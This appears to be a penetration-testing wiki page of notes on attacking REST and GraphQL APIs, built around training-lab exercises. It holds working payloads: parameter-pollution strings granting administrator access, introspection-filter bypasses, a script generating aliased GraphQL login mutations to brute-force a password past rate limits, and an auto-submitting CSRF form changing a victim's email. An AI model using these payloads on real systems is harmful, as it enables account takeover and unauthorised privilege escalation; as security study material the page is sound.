Bug Culture Wiki
Contents:
  1. Attacking APIs
    1. Restful
      1. Finding and Exploiting Unused API Endpoints
      2. Mass Assignment Vulnerabiltiies
      3. Server-side Parameter Pollution
    2. Graphql
      1. Enumeration
    3. Bypassing Graphql Introspection Defenses
    4. Bypassing rate limiting using aliases
      1. Example of Bypass:
    5. CSRF with GraphQl
      1. Graphql Voyager
    6. Response Manipulation

Attacking APIs

Restful

A RESTful API is an interface that allows clients to interact with a server over HTTP using standard methods like GET, POST, PUT, and DELETE. It follows REST principles, meaning it’s stateless, uses resource-based URLs, and typically returns data in JSON format. Each URL represents a resource, and actions on it are determined by the HTTP method used.

Finding and Exploiting Unused API Endpoints

  • Fuzz for hidden endpoints once we find correct path, ex. /api/FUZZ
  • Fuzz for hidden paramters, ex. /api/update?user=FUZZ or ex. /api/update?FUZZ=test
  • Try changing the HTTP Verb/method, ex. GET to PATCH (gettting the price > updating the price)
  • Try changing the content-type, ex. json to xml

Mass Assignment Vulnerabiltiies

Mass assignment (also known as auto-binding) can inadvertently create hidden parameters. It occurs when software frameworks automatically bind request parameters to fields on an internal object. Mass assignment may therefore result in the application supporting parameters that were never intended to be processed by the developer.

Since mass assignment creates parameters from object fields, you can often identify these hidden parameters by manually examining objects returned by the API.

For example, consider a PATCH /api/users/ request, which enables users to update their username and email, and includes the following JSON:

{
    "username": "wiener",
    "email": "[email protected]",
}

A concurrent GET /api/users/123 request returns the following JSON:

{
    "id": 123,
    "name": "John Doe",
    "email": "[email protected]",
    "isAdmin": "false"
}

This may indicate that the hidden id and isAdmin parameters are bound to the internal user object, alongside the updated username and email parameters.

We can try adding these hidden parameters to a patch request to see if we can update them.

Server-side Parameter Pollution

To test for server-side parameter pollution in the query string, place query syntax characters like #, &, and = in your input and observe how the application responds.

Consider a vulnerable application that enables you to search for other users based on their username. When you search for a user, your browser makes the following request: GET /userSearch?name=peter&back=/home

To retrieve user information, the server queries an internal API with the following request: GET /users/search?name=peter&publicProfile=true

You can use a URL-encoded # character to attempt to truncate the server-side request. To help you interpret the response, you could also add a string after the # character.

For example, you could modify the query string to the following: GET /userSearch?name=peter%23foo&back=/home

The front-end will try to access the following URL: GET /users/search?name=peter#foo&publicProfile=true Note

It’s essential that you URL-encode the # character. Otherwise the front-end application will interpret it as a fragment identifier and it won’t be passed to the internal API.

Review the response for clues about whether the query has been truncated. For example, if the response returns the user peter, the server-side query may have been truncated. If an Invalid name error message is returned, the application may have treated foo as part of the username. This suggests that the server-side request may not have been truncated.

If you’re able to truncate the server-side request, this removes the requirement for the publicProfile field to be set to true. You may be able to exploit this to return non-public user profiles.

You can use an URL-encoded & character to attempt to add a second parameter to the server-side request.

For example, you could modify the query string to the following: GET /userSearch?name=peter%26foo=xyz&back=/home

This results in the following server-side request to the internal API: GET /users/search?name=peter&foo=xyz&publicProfile=true

If you’re able to modify the query string, you can then attempt to add a second valid parameter to the server-side request. Related pages

For information on how to identify parameters that you can inject into the query string, see the Finding hidden parameters section.

For example, if you’ve identified the email parameter, you could add it to the query string as follows: GET /userSearch?name=peter%26email=foo&back=/home

This results in the following server-side request to the internal API: GET /users/search?name=peter&email=foo&publicProfile=true

To confirm whether the application is vulnerable to server-side parameter pollution, you could try to override the original parameter. Do this by injecting a second parameter with the same name.

For example, you could modify the query string to the following: GET /userSearch?name=peter%26name=carlos&back=/home

This results in the following server-side request to the internal API: GET /users/search?name=peter&name=carlos&publicProfile=true

The internal API interprets two name parameters. The impact of this depends on how the application processes the second parameter. This varies across different web technologies. For example:

PHP parses the last parameter only. This would result in a user search for carlos.
ASP.NET combines both parameters. This would result in a user search for peter,carlos, which might result in an Invalid username error message.
Node.js / express parses the first parameter only. This would result in a user search for peter, giving an unchanged result.

If you’re able to override the original parameter, you may be able to conduct an exploit. For example, you could add name=administrator to the request. This may enable you to log in as the administrator user.

Great example from this lab here

We can also test for this in REST paths:

Consider an application that enables you to edit user profiles based on their username. Requests are sent to the following endpoint: GET /edit_profile.php?name=peter

This results in the following server-side request: GET /api/private/users/peter

An attacker may be able to manipulate server-side URL path parameters to exploit the API. To test for this vulnerability, add path traversal sequences to modify parameters and observe how the application responds.

You could submit URL-encoded peter/../admin as the value of the name parameter: GET /edit_profile.php?name=peter%2f..%2fadmin

This may result in the following server-side request: GET /api/private/users/peter/../admin

If the server-side client or back-end API normalize this path, it may be resolved to /api/private/users/admin.

An attacker may be able to manipulate parameters to exploit vulnerabilities in the server’s processing of other structured data formats, such as a JSON or XML. To test for this, inject unexpected structured data into user inputs and see how the server responds.

Consider an application that enables users to edit their profile, then applies their changes with a request to a server-side API. When you edit your name, your browser makes the following request: POST /myaccount name=peter

This results in the following server-side request: PATCH /users/7312/update {“name”:”peter”}

You can attempt to add the access_level parameter to the request as follows: POST /myaccount name=peter”,”access_level”:”administrator

If the user input is added to the server-side JSON data without adequate validation or sanitization, this results in the following server-side request: PATCH /users/7312/update {name=”peter”,”access_level”:”administrator”}

This may result in the user peter being given administrator access.

Consider a similar example, but where the client-side user input is in JSON data. When you edit your name, your browser makes the following request: POST /myaccount {“name”: “peter”}

This results in the following server-side request: PATCH /users/7312/update {“name”:”peter”}

You can attempt to add the access_level parameter to the request as follows: POST /myaccount {“name”: “peter","access_level":"administrator”}

If the user input is decoded, then added to the server-side JSON data without adequate encoding, this results in the following server-side request: PATCH /users/7312/update {“name”:”peter”,”access_level”:”administrator”}

Again, this may result in the user peter being given administrator access.

Structured format injection can also occur in responses. For example, this can occur if user input is stored securely in a database, then embedded into a JSON response from a back-end API without adequate encoding. You can usually detect and exploit structured format injection in responses in the same way you can in requests.

Graphql

GraphQL is a powerful data query language developed by Facebook and was released in 2015. GraphQL acts as an alternative to REST API. Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend. This is a lot simpler because you don’t have to send multiple requests to the API, a single request can be used to gather all the necessary information.

Enumeration

  • Finding whether graphql is in use:
    • /graphql
    • /api
    • /api/graphql
    • /graphql/api
    • /graphql/graphql
    • Can also append /v1 to each path as well.
    • GraphQL services will often respond to any non-GraphQL request with a “query not present” or similar error. You should bear this in mind when testing for GraphQL endpoints.
  • Checking if Introspection is enabled:
  • We can use the burp’s “set introspection query”, and then send the request.
  • Manually: /graphql?query={__schema{types{name,fields{name}}}}

  • Is Introspection disabled, butsuggestions enabled? Could be a way to still get useful information about the schema.
  • GrapQL content type:

Cross-site request forgery (CSRF) vulnerabilities in a GraphQL endpoint can arise when the content type is not validated. POST requests using a content-type of application/json are secure against forgery as long as the content type is validated, as an attacker wouldn’t be able to make the victim’s browser send this request.

However, alternative methods such as GET, or any request that has a content-type of x-www-form-urlencoded, can be sent by a browser and so may leave users vulnerable to attack. Where this is the case, attackers may be able to craft exploits that use a valid CSRF token from a previous request to send malicious requests to the API.

  • With that, we can try changing the content type, like below for example:
POST /graphql HTTP/
Content-Type: application/x-www-form-urlencoded
skip_locations=true&query=query+Viewer%28%24skip_locations%3a+Boolean%29+%7b%0a++viewer%28skip_locations%3a+%24skip_locations%29+%7b%0a++++id%0a++++name%0a++++email%0a++++blockitAdmin%0a++++organizations+%7b%0a++++++id%0a++++++name%0a++++++role%0a++++++isActive%0a++++++__typename%0a++++%7d%0a++++__typename%0a++%7d%0a%7d%0a

Bypassing Graphql Introspection Defenses

If you cannot get introspection queries to run for the API you are testing, try inserting a special character after the __schema keyword. When developers disable introspection, they could use a regex to exclude the __schema keyword in queries. You should try characters like spaces, new lines and commas, as they are ignored by GraphQL but not by flawed regex. As such, if the developer has only excluded __schema{, then the below introspection query would not be excluded:

    #Introspection query with newline

    {
        "query": "query{__schema
        {queryType{name}}}"
    }

If this doesn’t work, try running the probe over an alternative request method, as introspection may only be disabled over POST. Try a GET request, or a POST request with a content-type of x-www-form-urlencoded.

Lab Example that worked. GET to /api with newline character after __schema:

GET /api?query={__schema

{types{name,fields{name}}}} HTTP/1.1
# And final request: 
GET /api?query=mutation{deleteOrganizationUser(input:{id:3}){user{id,username}}} 

Bypassing rate limiting using aliases

Ordinarily, GraphQL objects can’t contain multiple properties with the same name. Aliases enable you to bypass this restriction by explicitly naming the properties you want the API to return. You can use aliases to return multiple instances of the same type of object in one request.

Aliases are intended to limit the number of API calls you need to make, but they can also be used to brute force a GraphQL endpoint.

Many endpoints will have some sort of rate limiter in place to prevent brute force attacks. Some rate limiters work based on the number of HTTP requests received rather than the number of operations performed on the endpoint. Because aliases effectively enable you to send multiple queries in a single HTTP message, they can bypass this restriction.

Example of Bypass:

The simplified example below shows a series of aliased queries checking whether store discount codes are valid. This operation could potentially bypass rate limiting as it is a single HTTP request, even though it could potentially be used to check a vast number of discount codes at once.


    #Request with aliased queries

    query isValidDiscount($code: Int) {
        isvalidDiscount(code:$code){
            valid
        }
        isValidDiscount2:isValidDiscount(code:$code){
            valid
        }
        isValidDiscount3:isValidDiscount(code:$code){
            valid
        }
    }

We can use a script to generate our aliases for us instead of manually adding them, such as below:

copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
        token
        success
    }
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");

And then we just paste them into our graphql tab under repeater and send the request. We can then filter for true or some other value that depends on the login being successful.

CSRF with GraphQl

CSRF vulnerabilities can arise where a GraphQL endpoint does not validate the content type of the requests sent to it and no CSRF tokens are implemented.

POST requests that use a content type of application/json are secure against forgery as long as the content type is validated. In this case, an attacker wouldn’t be able to make the victim’s browser send this request even if the victim were to visit a malicious site.

However, alternative methods such as GET, or any request that has a content type of x-www-form-urlencoded, can be sent by a browser and so may leave users vulnerable to attack if the endpoint accepts these requests.

Final Lab Payload:

<html>
  <body>
    <form action="https://0aef0026036d519d823a43d300560062.web-security-academy.net/graphql/v1" method="POST" enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="query" value="
        mutation changeEmail($input: ChangeEmailInput!) {
          changeEmail(input: $input) {
            email
          }
        }
      " />
      <input type="hidden" name="operationName" value="changeEmail" />
      <input type="hidden" name="variables" value='{"input":{"email":"[email protected]"}}' />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Graphql Voyager

Lets get a pretty view of the supported operations by pasting the response from above in Graohql voyager and getting the grap view.

Response Manipulation

It is pretty common for applications using json and graphql endpoints to rely of server-side responses to control the flow of an application. We may be able to abuse this trust by intercepting and modify these servee responses to reveal hidden fields and content, which could lead to:

  • authentication and authorization bypasses
  • pay wall bypasses
  • business logic flaws
  • 2fa and otp bypasses